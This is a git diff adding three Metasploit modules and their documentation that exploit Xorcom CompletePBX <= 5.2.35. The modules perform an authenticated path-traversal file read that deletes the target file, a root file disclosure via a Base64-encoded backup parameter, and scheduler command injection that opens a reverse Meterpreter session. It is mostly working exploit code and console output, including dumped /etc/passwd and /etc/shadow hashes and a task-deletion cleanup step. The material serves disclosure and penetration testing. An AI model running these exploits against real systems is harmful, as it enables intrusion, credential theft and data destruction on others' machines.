diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md
new file mode 100644
index 0000000000..b16bd53ce4
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md
@@ -0,0 +1,116 @@
+## Vulnerable Application
+
+This Metasploit module exploits an **Authenticated Arbitrary File Read and Deletion** vulnerability in **Xorcom CompletePBX <= 5.2.35**.
+The issue arises due to improper validation of the `systemDataFileName` parameter in the `diagnostics` module,
+allowing an attacker to retrieve arbitrary files from the system.
+
+Additionally, this vulnerability **automatically deletes the requested file** after being accessed,
+leading to potential data loss on the target.
+
+The vulnerability is identified as **CVE-2025-30005**.
+
+### Setup
+
+Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln)
+
+
+## Verification Steps
+
+1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**.
+2. Launch **Metasploit Framework**.
+3. Use the module:
+```
+use auxiliary/admin/http/xorcom_completepbx_diagnostics_file_read
+```
+4. Set the **target host**:
+```
+set RHOSTS [TARGET_IP]
+```
+5. Set authentication credentials:
+```
+set USERNAME [VALID_ADMIN_USERNAME]
+set PASSWORD [VALID_ADMIN_PASSWORD]
+```
+6. Specify the file to read (before deletion):
+```
+set TARGETFILE /etc/passwd
+```
+7. Execute the module:
+```
+run
+```
+8. If successful, the contents of the specified file will be displayed before its deletion.
+
+## Options
+
+- `USERNAME`: Admin username for authentication.
+- `PASSWORD`: Admin password for authentication.
+- `TARGETFILE`: Path of the file to retrieve (**before automatic deletion**).
+
+## Scenarios
+
+### Successful Exploitation Against a Vulnerable CompletePBX Instance
+
+**Setup**:
+
+- **Target**: Xorcom CompletePBX <= 5.2.35
+- **Attacker**: Metasploit Framework instance
+
+**Steps**:
+
+```bash
+msf6 auxiliary(xorcom_completepbx_diagnostics_file_read) > run https://rnd-repo.cpbxmt-demo187.xorcom.com
+[*] Running module against 142.93.233.32
+
+[*] Attempting authentication with username: admin
+[+] Authentication successful! Session ID: sid=c8f08002130196439747e488447260f48d595c51
+[*] Attempting to read file: ../../../../../../../../../../../etc/passwd
+[*] ZIP file received, attempting to list files
+[*] Files inside ZIP archive:
+ - ../../../../../../../../../../../etc/passwd
+ - full_20250318_160522
+ - audit_20250318_160522.log
+[+] Content of /etc/passwd:
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
+systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
+systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
+systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
+messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
+systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
+mysql:x:105:108:MySQL Server,,,:/nonexistent:/bin/false
+postfix:x:106:110::/var/spool/postfix:/usr/sbin/nologin
+tcpdump:x:107:112::/nonexistent:/usr/sbin/nologin
+sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
+dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
+Debian-snmp:x:110:113::/var/lib/snmp:/bin/false
+asterisk:x:111:114:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin
+cc-cloud-rec:x:998:998::/var/lib/cc-cloud-rec:/sbin/nologin
+
+[!] WARNING: This exploit causes the deletion of the requested file on the target if the privileges allows it.
+[*] Auxiliary module execution completed
+```
+
+### Impact
+
+- This vulnerability grants **file read access**, but also **automatically deletes** the retrieved file.
+- Attackers can extract sensitive data (e.g., user credentials) while simultaneously causing **data loss** on the system.
+
+This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework.
diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md
new file mode 100644
index 0000000000..644eb83d64
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md
@@ -0,0 +1,109 @@
+## Vulnerable Application
+
+This Metasploit module exploits an **Authenticated File Disclosure** vulnerability in **Xorcom CompletePBX <= 5.2.35**.
+The issue arises due to improper handling of user-supplied input
+in the **core download functionality**, allowing an attacker to read arbitrary files on the system with **root privileges**.
+
+### Setup
+
+Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln)
+
+## Verification Steps
+
+1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**.
+2. Launch **Metasploit Framework**.
+3. Use the module:
+```
+use auxiliary/admin/http/xorcom_completepbx_file_disclosure
+```
+4. Set the **target host**:
+```
+set RHOSTS [TARGET_IP]
+```
+5. Set authentication credentials:
+```
+set USERNAME [VALID_ADMIN_USERNAME]
+set PASSWORD [VALID_ADMIN_PASSWORD]
+```
+6. Specify the file to read:
+```
+set TARGETFILE /etc/shadow
+```
+7. Execute the module:
+```
+run
+```
+8. If successful, the contents of the specified file will be displayed.
+
+## Options
+
+- `USERNAME`: Admin username for authentication.
+- `PASSWORD`: Admin password for authentication.
+- `TARGETFILE`: Path of the file to retrieve (Base64-encoded in request).
+
+## Scenarios
+
+### Successful Exploitation Against a Vulnerable CompletePBX Instance
+
+**Setup**:
+
+- **Target**: Xorcom CompletePBX <= 5.2.35
+- **Attacker**: Metasploit Framework instance
+
+**Steps**:
+
+```bash
+msf6 auxiliary(admin/http/xorcom_completepbx_file_disclosure) > run http://192.168.56.101/
+[*] Running module against 192.168.56.101
+[*] Attempting authentication with username: admin
+[+] Authentication successful! Session ID: sid=535c401396c04a4c92266c2d1457200e6f7c391a
+[*] Attempting to read file: /etc/shadow (Encoded as: ,L2V0Yy9zaGFkb3c=)
+[+] Content of /etc/shadow:
+root:$y$j9T$/vXScZij/ykAtLtP9H1nQ/$KK43hfpOrxdZwAZljjvS5dnF0ipg8NqpCOj9gbLJ9OA:19829:0:99999:7:::
+daemon:*:19829:0:99999:7:::
+bin:*:19829:0:99999:7:::
+sys:*:19829:0:99999:7:::
+sync:*:19829:0:99999:7:::
+games:*:19829:0:99999:7:::
+man:*:19829:0:99999:7:::
+lp:*:19829:0:99999:7:::
+mail:*:19829:0:99999:7:::
+news:*:19829:0:99999:7:::
+uucp:*:19829:0:99999:7:::
+proxy:*:19829:0:99999:7:::
+www-data:*:19829:0:99999:7:::
+backup:*:19829:0:99999:7:::
+list:*:19829:0:99999:7:::
+irc:*:19829:0:99999:7:::
+_apt:*:19829:0:99999:7:::
+nobody:*:19829:0:99999:7:::
+systemd-network:!*:19829::::::
+systemd-timesync:!*:19829::::::
+messagebus:!:19829::::::
+avahi-autoipd:!:19829::::::
+sshd:!:19829::::::
+pbx:$y$j9T$u6FpdD4iJVvFEqtUSAoFP/$P5iBn5ljpYEwcuXj4F9n6SBlMgWyxjqBDK82ija9Te5:19829:0:99999:7:::
+mysql:!:19829::::::
+postfix:!:19829::::::
+tcpdump:!:19829::::::
+Debian-snmp:!:19829::::::
+_chrony:!:19829::::::
+dnsmasq:!:19829::::::
+polkitd:!*:19829::::::
+asterisk:!:19829::::::
+cc-cloud-rec:!:19829::::::
+
Fatal error: Uncaught TypeError: proc_close(): supplied resource is not a valid process resource in /usr/share/ombutel/www/includes/helper.php:61
+Stack trace:
+#0 /usr/share/ombutel/www/includes/helper.php(61): proc_close()
+#1 [internal function]: ombutel\helper::ombutel\{closure}() #2 {main} thrown in /usr/share/ombutel/www/includes/helper.php on line 61
+
+[*] Auxiliary module execution completed
+```
+
+### Impact
+
+- This vulnerability grants **full read access to system files as root**.
+- Attackers can retrieve **hashed passwords, SSH keys, and configuration files**,
+leading to **privilege escalation** and potential full system compromise.
+
+This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework.
diff --git a/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md
new file mode 100644
index 0000000000..993f62bc0d
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md
@@ -0,0 +1,99 @@
+## Vulnerable Application
+
+This Metasploit module exploits an **Authenticated Command Injection** vulnerability in **Xorcom CompletePBX <= 5.2.35**.
+The issue resides in the task scheduler functionality, where user-controlled input is improperly sanitized, allowing
+arbitrary command execution with web server privileges.
+
+Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit.
+Even when creating a new user with maximum privileges, the vulnerability does not work.
+
+The vulnerability is identified as **CVE-2025-30004**.
+
+### Setup
+
+Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln)
+
+## Verification Steps
+
+1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**.
+2. Launch **Metasploit Framework**.
+3. Use the module:
+```
+use exploit/linux/http/xorcom_completepbx_scheduler_rce
+```
+4. Set the **target host**:
+```
+set RHOSTS [TARGET_IP]
+```
+5. Set authentication credentials:
+```
+set USERNAME [VALID_ADMIN_USERNAME]
+set PASSWORD [VALID_ADMIN_PASSWORD]
+```
+6. Configure the payload:
+```
+set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
+set LHOST [ATTACKER_IP]
+set LPORT [LISTENER_PORT]
+```
+7. Execute the module:
+```
+run
+```
+8. If successful, a **Meterpreter session** will be opened on the target.
+
+## Options
+
+- `USERNAME`: Admin username for authentication.
+- `PASSWORD`: Admin password for authentication.
+
+## Scenarios
+
+### Successful Exploitation Against a Vulnerable CompletePBX Instance
+
+**Setup**:
+
+- **Target**: Xorcom CompletePBX <= 5.2.35
+- **Attacker**: Metasploit Framework instance
+
+**Steps**:
+
+```bash
+msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.56.101/
+[*] Started reverse TCP handler on 192.168.56.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Checking if the target is running CompletePBX...
+[+] Detected CompletePBX on 192.168.56.101:80
+[+] The target appears to be vulnerable.
+[*] Attempting authentication with username: admin
+[+] Authentication successful! Session ID: sid=3b6c002860ddb5ca104e25eaa439b35052c443df
+[*] Creating malicious scheduled task with description: Ut quis eum sed.
+[+] Malicious task successfully created.
+[*] Retrieving latest task ID for description: Ut quis eum sed....
+[+] Found task with ID: 38
+[*] Executing malicious task ID 38...
+[*] Sending stage (3045380 bytes) to 192.168.56.101
+[+] Task executed successfully!
+[*] Sending delete request (mode=delete) for task ID 38...
+[*] Sending delete request (mode=deleteConfirmed) for task ID 38...
+[+] Task 38 deleted successfully!
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:33372) at 2025-03-18 17:18:23 +0100
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : localhost.localdomain
+OS : Debian 12.5 (Linux 6.1.0-20-amd64)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
+
+### Impact
+
+- This vulnerability grants **remote code execution** capabilities.
+- Attackers can execute arbitrary commands as the **web server user**, potentially leading to full system compromise.
+- Exploitation provides a **Meterpreter session** for post-exploitation activities.
+
+This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework.
diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb
new file mode 100644
index 0000000000..9067f99989
--- /dev/null
+++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb
@@ -0,0 +1,171 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize
+ super(
+ update_info(
+ info,
+ 'Name' => 'Xorcom CompletePBX Arbitrary File Read and Deletion via systemDataFileName',
+ 'Description' => %q{
+ This module exploits an authenticated path traversal vulnerability in
+ Xorcom CompletePBX <= 5.2.35. The issue occurs due to improper validation of the
+ `systemDataFileName` parameter in the `diagnostics` module, allowing authenticated attackers
+ to retrieve arbitrary files from the system.
+
+ Additionally, the exploitation of this vulnerability results in the **deletion** of the
+ requested file from the target system.
+
+ The vulnerability is identified as CVE-2025-30005.
+ },
+ 'Author' => ['Valentin Lobstein'],
+ 'License' => MSF_LICENSE,
+ 'References' => [
+ ['CVE', '2025-30005'],
+ ['URL', 'https://www.xorcom.com/products/completepbx/'],
+ ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
+ ],
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'SideEffects' => [IOC_IN_LOGS],
+ 'Reliability' => []
+ }
+ )
+ )
+
+ register_options(
+ [
+ Opt::RHOST,
+ Opt::RPORT(80),
+ OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']),
+ OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
+ OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']),
+ OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd'])
+ ]
+ )
+ end
+
+ def login
+ print_status("Attempting authentication with username: #{datastore['USERNAME']}")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
+ 'method' => 'POST',
+ 'ctype' => 'application/x-www-form-urlencoded',
+ 'vars_post' => {
+ 'userid' => datastore['USERNAME'],
+ 'userpass' => datastore['PASSWORD']
+ }
+ })
+
+ unless res
+ fail_with(Failure::Unreachable, 'No response from target')
+ end
+
+ unless res.code == 200
+ fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}")
+ end
+
+ sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first
+
+ unless sid_cookie
+ fail_with(Failure::NoAccess, 'Authentication failed: No session ID received')
+ end
+
+ print_good("Authentication successful! Session ID: #{sid_cookie}")
+ return sid_cookie
+ end
+
+ def run
+ sid_cookie = login
+ target_file = "../../../../../../../../../../..#{datastore['TARGETFILE']}"
+
+ print_status("Attempting to read file: #{target_file}")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['TARGETURI']),
+ 'method' => 'GET',
+ 'headers' => {
+ 'Cookie' => sid_cookie
+ },
+ 'vars_get' => {
+ 'class' => 'diagnostics',
+ 'method' => 'stopMode',
+ 'systemDataFileName' => target_file
+ }
+ })
+
+ unless res
+ fail_with(Failure::Unreachable, 'No response from target')
+ end
+
+ unless res.code == 200
+ fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}")
+ end
+
+ body = res.body.lines[0..-2].join
+
+ if res.headers['Content-Type']&.include?('application/zip')
+ print_status('ZIP file received, attempting to list files')
+
+ files_list = list_files_in_zip(body)
+
+ if files_list.empty?
+ fail_with(Failure::NotVulnerable, 'ZIP archive received but contains no files.')
+ end
+
+ print_status("Files inside ZIP archive:\n - " + files_list.join("\n - "))
+
+ extracted_content = read_file_from_zip(body, File.basename(target_file), files_list)
+
+ if extracted_content
+ print_good("Content of #{datastore['TARGETFILE']}:\n#{extracted_content}")
+ else
+ fail_with(Failure::NotVulnerable, 'File not found in ZIP archive.')
+ end
+ else
+ print_good("Raw file content received:\n#{body}")
+ end
+
+ print_warning('WARNING: This exploit causes the deletion of the requested file on the target if the privileges allows it.')
+ end
+
+ def list_files_in_zip(zip_data)
+ files = []
+
+ ::Zip::InputStream.open(StringIO.new(zip_data)) do |io|
+ while (entry = io.get_next_entry)
+ files << entry.name
+ end
+ end
+
+ files
+ end
+
+ def read_file_from_zip(zip_data, target_filename, files_list)
+ file_content = nil
+
+ possible_matches = files_list.select { |f| f.include?(target_filename) }
+
+ if possible_matches.empty?
+ return nil
+ end
+
+ correct_filename = possible_matches.first
+
+ ::Zip::InputStream.open(StringIO.new(zip_data)) do |io|
+ while (entry = io.get_next_entry)
+ if entry.name == correct_filename
+ file_content = io.read
+ break
+ end
+ end
+ end
+
+ file_content
+ end
+end
diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb
new file mode 100644
index 0000000000..60bc4b949a
--- /dev/null
+++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb
@@ -0,0 +1,119 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize
+ super(
+ update_info(
+ info,
+ 'Name' => 'CompletePBX Authenticated File Disclosure via Backup Download',
+ 'Description' => %q{
+ This module exploits an authenticated file disclosure vulnerability in CompletePBX <= 5.2.35.
+ The issue resides in the backup download function, where user input is not properly validated,
+ allowing an attacker to access arbitrary files on the system as root.
+
+ The vulnerability is triggered by setting the `backup` parameter to a Base64-encoded
+ absolute file path, prefixed by a comma `,`. This results in the server exposing the
+ file contents directly.
+ },
+ 'Author' => [
+ 'Valentin Lobstein' # Research and module development
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' => [
+ ['CVE', '2025-2292'],
+ ['URL', 'https://www.xorcom.com/products/completepbx/'],
+ ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
+ ],
+ 'Privileged' => true,
+ 'DisclosureDate' => '2025-03-02',
+ 'Platform' => ['linux', 'unix'],
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'SideEffects' => [IOC_IN_LOGS],
+ 'Reliability' => []
+ }
+ )
+ )
+
+ register_options(
+ [
+ Opt::RHOST,
+ Opt::RPORT(80),
+ OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']),
+ OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
+ OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']),
+ OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/shadow'])
+ ]
+ )
+ end
+
+ def login
+ print_status("Attempting authentication with username: #{datastore['USERNAME']}")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['TARGETURI'], 'login'),
+ 'method' => 'POST',
+ 'ctype' => 'application/x-www-form-urlencoded',
+ 'vars_post' => {
+ 'userid' => datastore['USERNAME'],
+ 'userpass' => datastore['PASSWORD']
+ }
+ })
+
+ unless res
+ fail_with(Failure::Unreachable, 'No response from target')
+ end
+
+ unless res.code == 200
+ fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}")
+ end
+
+ sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first
+
+ unless sid_cookie
+ fail_with(Failure::NoAccess, 'Authentication failed: No session ID received')
+ end
+
+ print_good("Authentication successful! Session ID: #{sid_cookie}")
+ return sid_cookie
+ end
+
+ def run
+ sid_cookie = login
+ encoded_path = ',' + Rex::Text.encode_base64(datastore['TARGETFILE'])
+
+ print_status("Attempting to read file: #{datastore['TARGETFILE']} (Encoded as: #{encoded_path})")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(datastore['TARGETURI']),
+ 'method' => 'GET',
+ 'headers' => {
+ 'Cookie' => sid_cookie
+ },
+ 'vars_get' => {
+ 'class' => 'core',
+ 'method' => 'download',
+ 'backup' => encoded_path
+ }
+ })
+
+ unless res
+ fail_with(Failure::Unreachable, 'No response from target')
+ end
+
+ unless res.code == 200
+ fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}")
+ end
+
+ if res.body.empty?
+ fail_with(Failure::NotVulnerable, 'No content retrieved, the server may not be vulnerable or the file is empty.')
+ end
+
+ print_good("Content of #{datastore['TARGETFILE']}:\n#{res.body}")
+ end
+end
diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
new file mode 100644
index 0000000000..2f90c25fdb
--- /dev/null
+++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
@@ -0,0 +1,244 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ prepend Msf::Exploit::Remote::AutoCheck
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler',
+ 'Description' => %q{
+ This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX
+ versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled
+ input is improperly sanitized, allowing arbitrary command execution with web server privileges.
+
+ Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit.
+ Even when creating a new user with maximum privileges, the vulnerability does not work.
+ },
+ 'Author' => [
+ 'Valentin Lobstein' # Research and module development
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' => [
+ ['CVE', '2025-30004'],
+ ['URL', 'https://www.xorcom.com/products/completepbx/'],
+ ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
+ ],
+ 'Privileged' => false,
+ 'Platform' => %w[unix linux],
+ 'Arch' => [ARCH_CMD],
+ 'Targets' => [
+ [
+ 'Unix/Linux Command Shell',
+ {
+ 'Platform' => %w[unix linux],
+ 'Arch' => ARCH_CMD
+ }
+ ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => '2025-03-02',
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'Reliability' => [REPEATABLE_SESSION],
+ 'SideEffects' => [IOC_IN_LOGS]
+ }
+ )
+ )
+
+ register_options([
+ OptString.new('USERNAME', [true, 'Valid CompletePBX username']),
+ OptString.new('PASSWORD', [true, 'Valid CompletePBX password']),
+ ])
+ end
+
+ def check
+ print_status('Checking if the target is running CompletePBX...')
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path),
+ 'method' => 'GET'
+ })
+
+ return Exploit::CheckCode::Unknown('No response from target.') unless res
+ return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
+
+ doc = res.get_html_document
+
+ if doc.at('//meta[@name="description"][@content="CompletePBX"]') ||
+ doc.at('//meta[@name="application-name"][@content="Ombutel"]')
+
+ print_good("Detected CompletePBX on #{peer}")
+ return Exploit::CheckCode::Appears
+ end
+
+ return Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.')
+ end
+
+ def login
+ print_status("Attempting authentication with username: #{datastore['USERNAME']}")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, 'login'),
+ 'method' => 'POST',
+ 'ctype' => 'application/x-www-form-urlencoded',
+ 'vars_post' => {
+ 'userid' => datastore['USERNAME'],
+ 'userpass' => datastore['PASSWORD']
+ }
+ })
+
+ unless res
+ fail_with(Failure::Unreachable, 'No response from target')
+ end
+
+ unless res.code == 200
+ fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}")
+ end
+
+ sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first
+
+ unless sid_cookie
+ fail_with(Failure::NoAccess, 'Authentication failed: No session ID received')
+ end
+
+ print_good("Authentication successful! Session ID: #{sid_cookie}")
+ return sid_cookie
+ end
+
+ def get_latest_task_id(sid_cookie, task_desc)
+ print_status("Retrieving latest task ID for description: #{task_desc}...")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path),
+ 'method' => 'GET',
+ 'vars_get' => {
+ 'class' => 'scheduler',
+ 'method' => 'tasks',
+ 'offset' => '0',
+ 'max' => '20',
+ 'search' => ''
+ },
+ 'cookie' => sid_cookie
+ })
+
+ unless res
+ fail_with(Failure::Unreachable, 'No response from target while fetching tasks')
+ end
+
+ json_res = res.get_json_document
+ tasks = json_res['rows']
+
+ unless tasks
+ fail_with(Failure::UnexpectedReply, 'Failed to retrieve task list')
+ end
+
+ tasks.each do |task|
+ if task[2] == task_desc
+ print_good("Found task with ID: #{task[0]}")
+ return task[0]
+ end
+ end
+
+ fail_with(Failure::NotFound, "Could not find the task with description: #{task_desc}")
+ end
+
+ def create_task(sid_cookie)
+ task_desc = Faker::Lorem.sentence(word_count: 4)
+ notes = Faker::Lorem.paragraph(sentence_count: 3)
+ print_status("Creating malicious scheduled task with description: #{task_desc}")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path),
+ 'method' => 'POST',
+ 'cookie' => sid_cookie,
+ 'ctype' => 'application/x-www-form-urlencoded',
+ 'vars_post' => {
+ 'script' => 'backup',
+ 'description' => task_desc,
+ 'starting' => Time.now.strftime('%Y-%m-%d %H:%M'),
+ 'interval' => '1',
+ 'interval_unit' => 'month',
+ 'parameters' => "$(#{payload.encoded})",
+ 'notes' => notes,
+ 'data' => '0',
+ 'class' => 'scheduler',
+ 'method' => 'save_task',
+ 'mode' => 'create'
+ }
+ })
+
+ unless res
+ fail_with(Failure::Unreachable, 'No response from target while creating task')
+ end
+
+ json_res = res.get_json_document
+ state = json_res['state']
+
+ if state == 'success'
+ print_good('Malicious task successfully created.')
+ return task_desc
+ else
+ fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task')
+ end
+ end
+
+ def run_task(sid_cookie, task_id)
+ print_status("Executing malicious task ID #{task_id}...")
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path),
+ 'method' => 'POST',
+ 'cookie' => sid_cookie,
+ 'ctype' => 'application/x-www-form-urlencoded',
+ 'vars_post' => {
+ 'class' => 'scheduler',
+ 'method' => 'run_task',
+ 'mode' => 'run',
+ 'data' => task_id.to_s
+ }
+ })
+
+ unless res
+ fail_with(Failure::Unreachable, 'No response from target while executing task')
+ end
+
+ print_good('Task executed successfully!')
+ end
+
+ def delete_task(sid_cookie, task_id)
+ %w[delete deleteConfirmed].each do |mode|
+ print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...")
+
+ send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path),
+ 'method' => 'POST',
+ 'cookie' => sid_cookie,
+ 'ctype' => 'application/x-www-form-urlencoded',
+ 'vars_post' => {
+ 'class' => 'scheduler',
+ 'method' => 'delete_task',
+ 'mode' => mode,
+ 'data' => task_id.to_s
+ }
+ })
+ end
+
+ print_good("Task #{task_id} deleted successfully!")
+ end
+
+ def exploit
+ sid_cookie = login
+ task_desc = create_task(sid_cookie)
+ task_id = get_latest_task_id(sid_cookie, task_desc)
+ run_task(sid_cookie, task_id)
+ delete_task(sid_cookie, task_id)
+ end
+end